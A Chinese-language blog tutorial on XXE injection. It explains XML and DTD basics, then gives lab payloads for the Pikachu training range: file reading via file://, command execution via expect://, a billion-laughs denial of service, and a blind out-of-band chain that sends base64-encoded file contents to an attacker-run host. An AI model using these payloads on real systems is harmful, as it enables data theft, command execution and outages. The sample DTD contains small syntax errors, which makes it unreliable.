一、思维导图

二、基础概念

1、xml基础概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。
HTML被设计用来显示数据,其焦点是数据的外观。
HTML旨在显示信息,而XML旨在传输信息。

3、xml示例

<!--文档类型定义-->
<!DOCTYPE note [    <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)>    <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>            <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)>        <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)>        <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)>        <!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
    <to>Dave</to>
    <from>Tom</from>
    <head>Reminder</head>
    <body>You are a good man</body>
</note>

三、演示案例

1、pikachu靶场XML

-回显,玩法,协议,引入

备注:前提条件是有那个文件,用file协议来读取d盘的1.txt文件

内网探针或攻击内网应用(漏洞)

<?xml version = "1.0"?>
<!DOCTYPE ANY [
        <!ENTITY xxe SYSTEM "file:///d://1.txt">
]>
<x>&xxe;</x>

  • 玩法-内网探针或攻击内网应用(触发漏洞地址)

RCE

安装expect拓展的PHP环境里执行系统命令
<?xml version="1.0" encoding="UTF-8"?>
<?DOCTYPE ANY[
        <!ENTITY xxe SYSTEM "expect://ipconfig">
]>
<x>&xxe;</x>

DOS

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。

引用外部实体dtd

#引用外部实体dtd
<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE test[
    <!ENTITY % file SYSTEM "http://127.0.0.1/one.dtd">
    %file;
]>
<x>&send;</x>

one.dtd:
    <!ENTITY send SYSTEM "file:///C://Windows//win.ini">

引用外部实体dtd通常用于无回显读取文件,可在访问日志中查看回显内容

无回显-读取文件

<?xml version = "1.0"?>
<!DOCTYPE test [
        <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
        <!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
        %dtd;
        %send;
]>


test.dtd:
<!ENTITY % payload
    "<!ENTITY &#x25; send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

参考文章:

https://www.cnblogs.com/20175211lyz/p/11413335.html

最后修改:2022 年 11 月 26 日
如果觉得我的文章对你有用,请随意赞赏